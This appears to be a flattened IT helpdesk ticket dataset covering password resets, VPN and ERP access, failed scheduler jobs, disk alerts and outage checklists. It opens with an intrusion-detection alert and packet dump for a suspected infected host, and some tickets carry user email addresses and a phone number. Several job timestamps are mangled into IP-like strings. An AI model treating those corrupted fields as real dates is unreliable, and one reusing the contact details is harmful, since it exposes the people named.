agent id: 102835\_x000D\_
\_x000D\_
event detail:\_x000D\_
[\*\*] [1:21163262:2] 52151 vid36000 server response with anubis sinkhole cookie set - probable infected asset [\*\*]\_x000D\_
[classification: none] [priority: 2] [action: accept] [impact\_flag: 0] [impact: 0] [blocked: 0] [vlan: 0] [mpls label: 0] [pad2: 1]\_x000D\_
[sensor id: 606873][event id: 703][time: 2584766160.739356]\_x000D\_
[src ip: 195.22.28.222][dst ip: 10.44.22.248][sport/itype: 80][dport/icode: 58300][proto: 6]\_x000D\_
09/12/2016-04:37:39.739356 195.22.28.222:80 -> 10.44.22.248:58300\_x000D\_
tcp ttl:43 tos:0x0 id:22582 iplen:20 dgmlen:391 df\_x000D\_
\*\*\*ap\*\*\* seq: 0x501aa6d0 ack: 0x74888c9e win: 0x68b0 tcplen: 20\_x000D\_
==pcap 1==\_x000D\_
\_x000D\_
\_x000D\_
[ex http\_uri 9: /domain/newflv.sohu.ccgslb.net]\_x000D\_
\_x000D\_
[ex http\_hostname 10: sso.anbtr.com]\_x000D\_
\_x000D\_
[o:security]\_x000D\_
\_x000D\_
ascii packet(s):\_x000D\_
==pcap 1 ascii s==\_x000D\_
.....1.w.h..........e...x6@.+..".....,...p..p...t...p.h..$..http/1.1.302.moved.temporarily..server:.nginx..date:.mon,.12.sep.2016.04:37:39.gmt..content-type:.text/html..connection:.close..set-cookie:.anbtr=0a51a90cb840cc144b448e76579f6b84;.domain=.ccgslb.net..location:.\_x000D\_
==pcap 1 ascii e==\_x000D\_
\_x000D\_
hex packet(s):\_x000D\_
==pcap 1 hex s==\_x000D\_
000000 0c00 0000 1331 d657 1c48 0b00 8701 0000 .....1.w.h......\_x000D\_
000010 8701 0000 4500 0187 5836 4000 2b06 f522 ....e...x6@.+.."\_x000D\_
000020 c316 1cde 0a2c 16f8 0050 e3bc 501a a6d0 .....,...p..p...\_x000D\_
000030 7488 8c9e 5018 68b0 0a24 0000 4854 5450 t...p.h..$..http\_x000D\_
000040 2f31 2e31 2033 3032 204d 6f76 6564 2054 /1.1.302.moved.t\_x000D\_
000050 656d 706f 7261 7269 6c79 0d0a 5365 7276 emporarily..serv\_x000D\_
000060 6572 3a20 6e67 696e 780d 0a44 6174 653a er:.nginx..date:\_x000D\_
000070 204d 6f6e 2c20 3132 2053 6570 2032 3031 .mon,.12.sep.201\_x000D\_
000080 3620 3034 3a33 373a 3339 2047 4d54 0d0a 6.04:37:39.gmt..\_x000D\_
000090 436f 6e74 656e 742d 5479 7065 3a20 7465 content-type:.te\_x000D\_
0000a0 7874 2f68 746d 6c0d 0a43 6f6e 6e65 6374 xt/html..connect\_x000D\_
0000b0 696f 6e3a 2063 6c6f 7365 0d0a 5365 742d ion:.close..set-\_x000D\_
0000c0 436f 6f6b 6965 3a20 616e 6274 723d 3061 cookie:.anbtr=0a\_x000D\_
0000d0 3531 6139 3063 6238 3430 6363 3134 3462 51a90cb840cc144b\_x000D\_
0000e0 3434 3865 3736 3537 3966 3662 3834 3b20 448e76579f6b84;.\_x000D\_
0000f0 646f 6SID\_26 696e 3d2e 6363 6773 6c62 2e6e domain=.ccgslb.n\_x000D\_
000100 6574 0d0a 4c6f 6361 7469 6f6e 3a20 6874 et..location:.ht\_x000D\_
000110 7470 3a2f 2f78 7373 6f2e 6e65 7766 6c76 tp://xsso.newflv\_x000D\_
000120 2e73 6f68 752e 6363 6773 6c62 2e6e 6574 .sohu.ccgslb.net\_x000D\_
000130 2f30 6135 3161 3930 6362 3834 3063 6331 /0a51a90cb840cc1\_x000D\_
000140 3434 6234 3438 6537 3635 3739 6636 6238 44b448e76579f6b8\_x000D\_
000150 340d 0a0d 0a47 6f20 6874 7470 3a2f 2f78 4....go.\_x000D\_
000160 7373 6f2e 6e65 7766 6c76 2e73 6f68 752e sso.newflv.sohu.\_x000D\_
000170 6363 6773 6c62 2e6e 6574 2f30 6135 3161 ccgslb.net/0a51a\_x000D\_
000180 3930 6362 3834 3063 6331 3434 6234 3438 90cb840cc144b448\_x000D\_
000190 6537 3635 3739 6636 6238 34 e76579f6b84\_x000D\_
==pcap 1 hex e==, is assigned to Assignment group: GRP\_31.Ticket with Short description: apac apac - china company-ap-chn-china-3750g-access-vmsw01 and multiple servers went down at 1:55 am et on 09/12, Description: job name:, is assigned to Assignment group: GRP\_8.Ticket with Short description: unable to open .jpg , .png files, Description: \_x000D\_
\_x000D\_
received from: pxbqkfgm.qexvrmcn@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
\_x000D\_
i am unable to open .jpg & .png files. pls. do the needful.\_x000D\_
\_x000D\_
vivthyek byuihand\_x000D\_
asst manager- sales\_x000D\_
company india ltd, india.\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: how to recall send message in outlook, Description: how to recall send message in outlook, is assigned to Assignment group: GRP\_0.Ticket with Short description: reset the password for mobaidfx gviwlsrm on erp / produktion / hcm, Description: passwort zurÃ¼cksetzen - , is assigned to Assignment group: GRP\_0.Ticket with Short description: handscanner am rÃ¼ckmeldeterminal 6 defekt, Description: handscanner am rÃ¼ckmeldeterminal 6 defekt (gegenÃ¼ber kln), is assigned to Assignment group: GRP\_33.Ticket with Short description: netweaver , Description: folgender fehler: microsoft .net framdntyework 4,5 is not installed.\_x000D\_
please contact your administrator. , is assigned to Assignment group: GRP\_0.Ticket with Short description: company engineering\_tool access, Description:
received from: mcphgvnb.bdegqtyj@gmail.com
hello,
please help me to access the company engineering\_tool, tool data system and crm. company engineering\_tool is asking email and password to open and tried it with my email (mcphgvnb.bdegqtyj@gmail.com<mailto:mcphgvnb.bdegqtyj@gmail.com>) & password but it is showing incorrect id & password so please do needful
thanking you
ramdntygy
, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to connect to engineering tool , Description: unable to connect to engineering tool , is assigned to Assignment group: GRP\_0.Ticket with Short description: can not log into vpn, Description:
name:gwptzvxm rhozsfty
language:
browser:microsoft internet explorer
email:gwptzvxm.rhozsfty@gmail.com
customer number:
telephone:
summary:can not log into vpn, is assigned to Assignment group: GRP\_0.Ticket with Short description: sorahdyggs (ijyuvind sohytganvi ) his system is locked and he is not able to log in, Description: \_x000D\_
name:pradtheyp\_x000D\_
language:\_x000D\_
browser:microsoft internet explorer\_x000D\_
email:pradtheyp.jeyabalan@gmail.com\_x000D\_
customer number:\_x000D\_
telephone:0649737471\_x000D\_
summary:sorahdyggs (ijyuvind sohytganvi ) his system is locked and he is not able to log in, is assigned to Assignment group: GRP\_0.Ticket with Short description: t/o can not be generated, Description: \_x000D\_
\_x000D\_
received from: gjtyswkb.dpvaymxr@gmail.com\_x000D\_
\_x000D\_
dear it,\_x000D\_
\_x000D\_
the t/o can not be generated for below dn, would you pls help to check , , is assigned to Assignment group: GRP\_18.Ticket with Short description: job Job\_1141 failed in job\_scheduler at: 09/11/2016 23:45:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1141 failed in job\_scheduler at: 09/11/2016 23:45:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: windows account locked , Description: windows account locked , is assigned to Assignment group: GRP\_0.Ticket with Short description: retrieving data from old to new laptop, Description: \_x000D\_
\_x000D\_
received from: jkpwisnf.lgpdyncm@gmail.com\_x000D\_
\_x000D\_
hello\_x000D\_
i forgot the password of old laptop and i have to submit the same to india office.\_x000D\_
before doing that, i want to transfer some data especially engineering\_tools.\_x000D\_
could you please help me in resolving the issue.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: windows account locked , Description: windows account locked , is assigned to Assignment group: GRP\_0.Ticket with Short description: job hr\_payroll\_na\_u1 failed in job\_scheduler at: 09/11/2016 23:00:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job hr\_payroll\_na\_u1 failed in job\_scheduler at: 09/11/2016 23:00:00, is assigned to Assignment group: GRP\_10.Ticket with Short description: job hr\_payroll\_na\_u2 failed in job\_scheduler at: 09/11/2016 23:00:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job hr\_payroll\_na\_u2 failed in job\_scheduler at: 09/11/2016 23:00:00, is assigned to Assignment group: GRP\_10.Ticket with Short description: job hr\_payroll\_na\_u6 failed in job\_scheduler at: 09/11/2016 23:00:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job hr\_payroll\_na\_u6 failed in job\_scheduler at: 09/11/2016 23:00:00, is assigned to Assignment group: GRP\_10.Ticket with Short description: battery at warning status, Description: battery showing warning status , is assigned to Assignment group: GRP\_19.Ticket with Short description: unable to login to erp SID\_34 , Description: unable to login to erp SID\_34 , is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to connect to vpn, Description: unable to connect to vpn vpn , is assigned to Assignment group: GRP\_0.Ticket with Short description: unlock erp logon, Description: \_x000D\_
\_x000D\_
received from: jofvunqs.uwigjmzv@gmail.com\_x000D\_
\_x000D\_
hello:\_x000D\_
please help me unlock erp logon. i can not logon the erp system ,input my password.\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_0.Ticket with Short description: security\_tool password manager service down in component server lhqsm657, Description: lhqsm657: security\_tool application is down. \_x000D\_
component name security\_tool password manager is down, is assigned to Assignment group: GRP\_2.Ticket with Short description: HostName\_986:(plm conversion- production) alwaysupservice.exe: wrong number of instances of process alwaysupservice.exe, ex, Description: HostName\_986:(plm conversion- production): alwaysupservice.exe: wrong number of instances of process alwaysupservice.exe, , is assigned to Assignment group: GRP\_14.Ticket with Short description: HostName\_53 : 85% space consumed. space available: 0.98 m , Description: HostName\_53: volume: f:\ label:dat2-HostName\_53 d4e35b72 on server: HostName\_53 is over \_x000D\_
85% space consumed. space available: 0.98 m , is assigned to Assignment group: GRP\_12.Ticket with Short description: lhbsm005 : 85% disk space consumed. space available: 4.5 g , Description: lhbsm005: volume: f:\ label:dat2-lhbsm005 7446ecc9 on server: lhbsm005 is over \_x000D\_
85% space consumed. space available: 4.5 g , is assigned to Assignment group: GRP\_12.Ticket with Short description: job snp\_heu\_6\_regen failed in job\_scheduler at: 09/11/2016 17:48:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job snp\_heu\_6\_regen failed in job\_scheduler at: 09/11/2016 17:48:00, is assigned to Assignment group: GRP\_6.Ticket with Short description: job snp\_heu\_5\_regen failed in job\_scheduler at: 09/11/2016 17:33:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job snp\_heu\_5\_regen failed in job\_scheduler at: 09/11/2016 17:33:00, is assigned to Assignment group: GRP\_6.Ticket with Short description: job SID\_37hoti failed in job\_scheduler at: 09/11/2016 14:46:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job SID\_37hoti failed in job\_scheduler at: 09/11/2016 14:46:00, is assigned to Assignment group: GRP\_5.Ticket with Short description: job Job\_1427 failed in job\_scheduler at: 09/11/2016 14:44:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1427 failed in job\_scheduler at: 09/11/2016 14:44:00, is assigned to Assignment group: GRP\_6.Ticket with Short description: job SID\_37hoti failed in job\_scheduler at: 09/11/2016 14:21:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job SID\_37hoti failed in job\_scheduler at: 09/11/2016 14:21:00, is assigned to Assignment group: GRP\_5.Ticket with Short description: job bk\_hana\_SID\_62\_os\_wly\_dp failed in job\_scheduler at: 09/11/2016 13:21:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job bk\_hana\_SID\_62\_os\_wly\_dp failed in job\_scheduler at: 09/11/2016 13:21:00, is assigned to Assignment group: GRP\_5.Ticket with Short description: job bk\_hana\_SID\_22\_os\_wly failed in job\_scheduler at: 09/11/2016 11:18:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job bk\_hana\_SID\_22\_os\_wly failed in job\_scheduler at: 09/11/2016 11:18:00, is assigned to Assignment group: GRP\_5.Ticket with Short description: vip 1 - how can i change my password remotely? i'm traveling and it expires in 2 days., Description: \_x000D\_
\_x000D\_
received from: yxvqdtmk.kbicqjrp@gmail.com\_x000D\_
\_x000D\_
sent from mail<\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: not able to access to t or p drives, Description: name:cighytol yjurztgd
language:
browser:microsoft internet explorer
email:cighytol.yjurztgd@gmail.com
customer number:
telephone:
summary:hello, closing down my laptop and starting vpn again has not solved the issue. i do not have access to t or p drives today. teams and global. i can't do any work until this access is restored. please help., is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to connect to outlook , Description: unable to connect to outlook , is assigned to Assignment group: GRP\_0.Ticket with Short description: ms office 2016 installation, Description: ms office 2016 installation
contact no:- , is assigned to Assignment group: GRP\_0.Ticket with Short description: power supplied failed on library 2. , Description: from: timnhyt rehtyulds
sent: sunday, september 11, 2016 7:14 am
to: datacenter
cc: -dacl3
subject: re: qa\* cold backups
, is assigned to Assignment group: GRP\_8.Ticket with Short description: HostName\_1010 : the service is down after the weekend reboot (erpstartsrv.exe) , Description: HostName\_1010 : the service is down after the weekend reboot (erpstartsrv.exe) , is assigned to Assignment group: GRP\_14.Ticket with Short description: job Job\_579 failed in job\_scheduler at: 09/11/2016 07:15:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_579 failed in job\_scheduler at: 09/11/2016 07:15:00, is assigned to Assignment group: GRP\_5.Ticket with Short description: job co\_val\_update\_crosscomp failed in job\_scheduler at: 09/11/2016 06:02:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job co\_val\_update\_crosscomp failed in job\_scheduler at: 09/11/2016 06:02:00, is assigned to Assignment group: GRP\_10.Ticket with Short description: job snp\_heu\_1\_regen failed in job\_scheduler at: 09/11/2016 05:41:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job snp\_heu\_1\_regen failed in job\_scheduler at: 09/11/2016 05:41:00, is assigned to Assignment group: GRP\_6.Ticket with Short description: job snp\_heu\_2\_regen failed in job\_scheduler at: 09/11/2016 05:36:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job snp\_heu\_2\_regen failed in job\_scheduler at: 09/11/2016 05:36:00, is assigned to Assignment group: GRP\_6.Ticket with Short description: network outage: malaysia site hard down since 12:41 am et on 09/11., Description: what type of outage: \_\_x\_\_\_network \_\_\_\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_\_\_no\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_\_\_\_\_\_\_12:41 am et on 09/11\_\_\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_\_\_no\_\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_\_\_no\_\_\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_\_\_\_yes\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_\_\_no\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_\_\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_8.Ticket with Short description: HostName\_894 : c:\ label:sys-HostName\_894 28385a7b on server: HostName\_894 is over 85% space consumed. space available: 4.4 g, Description: HostName\_894 : c:\ label:sys-HostName\_894 28385a7b on server: HostName\_894 is over 85% space consumed. space available: 4.4 g, is assigned to Assignment group: GRP\_39.Ticket with Short description: restoring ppt, Description: restoring ppt, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp login-password issue., Description: \_x000D\_
\_x000D\_
received from: ojgfmvep.zbatowgi@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
\_x000D\_
facing erp login problem. password issue.\_x000D\_
\_x000D\_
with best , is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_1148 failed in job\_scheduler at: 09/11/2016 01:27:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1148 failed in job\_scheduler at: 09/11/2016 01:27:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: job mm\_zscr0099\_wkly\_rollfgyuej1 failed in job\_scheduler at: 09/11/2016 00:11:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job mm\_zscr0099\_wkly\_rollfgyuej1 failed in job\_scheduler at: 09/11/2016 00:11:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: engineering\_tool installation, ms office 2016 installation, vpn access, erp access., Description: engineering\_tool installation, ms office 2016 installation, vpn access, erp access., is assigned to Assignment group: GRP\_0.Ticket with Short description: job SID\_39cold failed in job\_scheduler at: 09/78.93.52.6799:58:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job SID\_39cold failed in job\_scheduler at: 09/78.93.52.6799:58:00, is assigned to Assignment group: GRP\_5.Ticket with Short description: job SID\_36cold failed in job\_scheduler at: 09/78.93.52.6798:13:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job SID\_36cold failed in job\_scheduler at: 09/78.93.52.6798:13:00, is assigned to Assignment group: GRP\_5.Ticket with Short description: job SID\_7cold failed in job\_scheduler at: 09/78.93.52.6798:14:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job SID\_7cold failed in job\_scheduler at: 09/78.93.52.6798:14:00, is assigned to Assignment group: GRP\_5.Ticket with Short description: job Job\_749 failed in job\_scheduler at: 09/78.93.52.6795:43:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_749 failed in job\_scheduler at: 09/78.93.52.6795:43:00, is assigned to Assignment group: GRP\_5.Ticket with Short description: vpn issue, Description: hi liuytre,\_x000D\_
\_x000D\_
sorry to hear of the issues with ethics and vpn that you're experiencing.\_x000D\_
\_x000D\_
you do have access to vpn now and should be able to connect through \_x000D\_
\_x000D\_
also, please could you share the error you have when trying to get into ethics. i understand there was a change in your employment status which might be contributing to it but will need to confirm. please share when the changes took place and the error message.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: ethics issue, Description: hi liuytre,\_x000D\_
\_x000D\_
sorry to hear of the issues with ethics and vpn that you're experiencing.\_x000D\_
\_x000D\_
you do have access to vpn now and should be able to connect through \_x000D\_
\_x000D\_
also, please could you share the error you have when trying to get into ethics. i understand there was a change in your employment status which might be contributing to it but will need to confirm. please share when the changes took place and the error message.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp SID\_34 account locked, Description: erp SID\_34 account locked, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to connect to vpn , Description: unable to connect to vpn , is assigned to Assignment group: GRP\_0.Ticket with Short description: power outage:jundiai - (company):company-sifco-jundiai-rtr circuit is down since at 7:27 am et on 09/10.no backup, Description: what type of outage: \_\_\_x\_\_network \_\_\_\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_\_\_na\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_\_\_7:27 am et on 09/10\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_\_\_\_\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_\_\_\_\_\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_\_na\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_\_na\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_\_\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_8.Ticket with Short description: the dynamics crm url checks is reporting a : down status on, company-crm-sp-mfg\_tooltion.azurewebsites.net., Description: observing below alert in monitoring\_tool since 06:33 am et on 09/10.\_x000D\_
\_x000D\_
application "dynamics crm url checks" on node "company-crm-sp-mfg\_tooltion.azurewebsites.net" is down , is assigned to Assignment group: GRP\_40.Ticket with Short description: ap vpn is not getting connected, Description:
received from: dargthy.sohfyuimaiah@company.com
ap vpn is not getting connected. please assist at an earliest. , is assigned to Assignment group: GRP\_0.Ticket with Short description: circuit outage:usa:secondary vpn circuit is down since at 5:51 am et on 09/10.site have backup ., Description: what type of outage: \_\_\_\_\_network \_x\_\_\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_\_yes\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_\_\_\_\_5:51 am et on 09/10\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_\_\_\_\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_\_\_\_\_\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_yes\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_\_\_yes\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_\_\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_8.Ticket with Short description: job Job\_1427 failed in job\_scheduler at: 09/10/2016 04:07:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1427 failed in job\_scheduler at: 09/10/2016 04:07:00, is assigned to Assignment group: GRP\_6.Ticket with Short description: job Job\_1348 failed in job\_scheduler at: 09/10/2016 03:55:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1348 failed in job\_scheduler at: 09/10/2016 03:55:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: unable to print production orders : error : production\_order\_interface\_vendor-connc-bng, Description: unable to print production orders since last 1 hour.\_x000D\_
user was doing half day and mentioned that he will contact again on monday for this issue.\_x000D\_
not sure if rest of users in india plant facing same issue.\_x000D\_
collated information for issue with screenshot and assigning to concern team.\_x000D\_
\_x000D\_
\_x000D\_
connection to system production\_order\_interface\_app-bng with destination production\_order\_interface\_vendor-connc-bng is not okay., is assigned to Assignment group: GRP\_14.Ticket with Short description: account locked out , Description: account locked out , is assigned to Assignment group: GRP\_0.Ticket with Short description: account lcoked out., Description: 389\_x000D\_
summary:password change is locked. need to change all password, is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_577 failed in job\_scheduler at: 09/10/2016 00:02:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_577 failed in job\_scheduler at: 09/10/2016 00:02:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: job Job\_549 failed in job\_scheduler at: 09/09/2016 23:02:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_549 failed in job\_scheduler at: 09/09/2016 23:02:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: clientless vpn is not working, Description:
received from: qklrdoba.qxivmbts@gmail.com
hello,
greetings of the day.
please note that the clientless vpn is not working in my system, below details are for your kind information only:
user id : sarhytukas
system id : awyl9326112
please find below the snaps i am receiving while trying to use vpn
[cid:image002.jpg@01d20b3d.0d85d170]
[cid:image006.jpg@01d20b3d.0d85d170]
please do the needful.
, is assigned to Assignment group: GRP\_0.Ticket with Short description: network outage: apac , site hard down since 7:29 pm et on 9/9/2016. no backup., Description: what type of outage: \_\_x\_\_\_network \_\_\_\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_\_\_no\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_\_\_\_\_\_\_7:29 pm et on 9/9/2016\_\_\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_no\_\_\_\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_\_\_no\_\_\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_no\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_\_\_\_na\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_\_no\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_\_na\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_\_\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_8.Ticket with Short description: job SID\_46filesys failed in job\_scheduler at: 09/09/2016 22:04:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job SID\_46filesys failed in job\_scheduler at: 09/09/2016 22:04:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: job bk\_hana\_SID\_62\_erp\_dly\_dp failed in job\_scheduler at: 09/09/2016 22:02:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job bk\_hana\_SID\_62\_erp\_dly\_dp failed in job\_scheduler at: 09/09/2016 22:02:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: job Job\_1348b failed in job\_scheduler at: 09/09/2016 18:10:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1348b failed in job\_scheduler at: 09/09/2016 18:10:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: skype login issue., Description: skype login issue.\_x000D\_
-connected to the user system using teamviewer.\_x000D\_
-help the user login to the skype.\_x000D\_
-issue resolved.\_x000D\_
\_x000D\_
